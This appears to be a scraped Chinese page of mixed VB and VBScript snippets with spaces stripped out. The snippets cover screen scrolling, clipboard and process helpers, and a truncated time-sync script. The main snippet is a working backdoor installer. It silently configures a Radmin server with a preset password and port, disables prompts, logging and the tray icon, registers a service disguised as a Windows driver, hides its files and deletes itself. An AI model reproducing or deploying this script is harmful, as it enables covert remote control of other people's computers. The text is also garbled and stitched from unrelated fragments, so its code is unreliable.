程序如下：

SubForm_Load()

DimI'定义变量

bye.Show'封底出现

Unloadmenu1'卸载主菜单

al:Ifpicture1.Height<7130Then'7130为图的高度

picturel.Height=picture1.Height＋50'下拉屏幕

GoToal

EndIf

ForI=1To20000'使窗体暂停一段时间

NextI

End'结束所有操作

EndSub->

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_

strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")

strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)

uBinary=Array(1,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)

uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码

uBinary=Array(5,4,0,0)//端口：1029

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)

uBinary=Array(10,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

strValueName="LogFilePath"

strValue="c:\logfile.txt"

setwshshell=createobject("wscript.shell")

a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"

strValueName="Description"

strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="DisplayName"

strValue="WindowsManagementInstrumentationPlayerDrivers"

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="ImagePath"

strValue="c:\windows\system32\Exporer.exe/service"

oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

setwshshell=createobject("wscript.shell")

a=wshshell.run("netstartWinManageHelp",0)

b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)

c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)

d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除

第一个页面：

Sub Hello()

Document.All.myScriptlet.Hello

End Sub

TYPE="text/x-scriptlet"

DATA="2.htm"

HEIGHT="0" WIDTH="0">

2.htm里的源码：

Sub public_Hello()

MsgBox "Hello World!"

End Sub

PassWord=PassWord＆Mid(PWstr,i,1)

Nexti

Text1.Text=PassWord'在文本框内显示密码

Sub CopyString(s)

Set forms=WScript.CreateObject("forms.form.1")

Set textbox=forms.Controls.Add("forms.textbox.1").Object

With textbox

.multiline=True

.text=s

.selstart=0

.sellength=Len(.text)

.copy

End With

End Sub

CopyString "脚本之家 "

msgbox "ok"

如木马、端口扫描器、客户端工具、CGI漏洞扫描器……

set fso=createobject("scripting.filesystemobject") : name=1

Dim na

na=Inputbox("请输入拓展名:","拓展名","txt")

while fso.fileexists(name&"."&na)=true

name=name+1

wend

set o=fso.opentextfile(name&"."&na,2,true)

set hf=Createobject("htmlfile")

wind=hf.parentwindow.clipboarddata.getdata("text")

o.writeline wind : o.close

createobject("wscript.shell").exec "notepad.exe "&name&"."&na&""

问题已经描述清楚了

OnErrorResumeNext

'vbs代码开始----------------------------------------------

subClose_Process(ProcessName)

OnErrorResumeNext

foreachpsingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_'循环进程

ifUcase(ps.name)=Ucase(ProcessName)then

ps.terminate

endif

next

endsub

Close_Process("notepad.exe")

回调中断最简单的一个思路是将整屏画面抓到两个一样的窗体中交替连续地滚动出现，在上述程序的基础上修改如下：

form2?Top＝－Screen?Henght

′将form2紧接form1的顶部放置

rc％＝BitBlt％(form2?hDC，0，0，form2?ScaleWidth，form2?ScaleHeight，ScreenDC％，0，0，＆HCC0020)

′增加此句，将整屏抓到form2中

WhileTrue

form2?Top＝form2?Top＋500

Ifform2?Top＜0Then

form1?Top＝form2?Top＋Screen?Height

′form1在form2下面

Else

form1?Top＝form2?Top－Screen?Height

′form1在form2上面

EndIf

Ifform2?Top＞Screen?HeightThen

form2?Top＝－Screeen?Height

′form2超出下界时回到最上面

Eenif

DoEvents

Wend->

'VBS校准系统时间 BY BatMan

Dim objXML, Url, Message

Message="恭喜你，本机时间非常准确无需校对。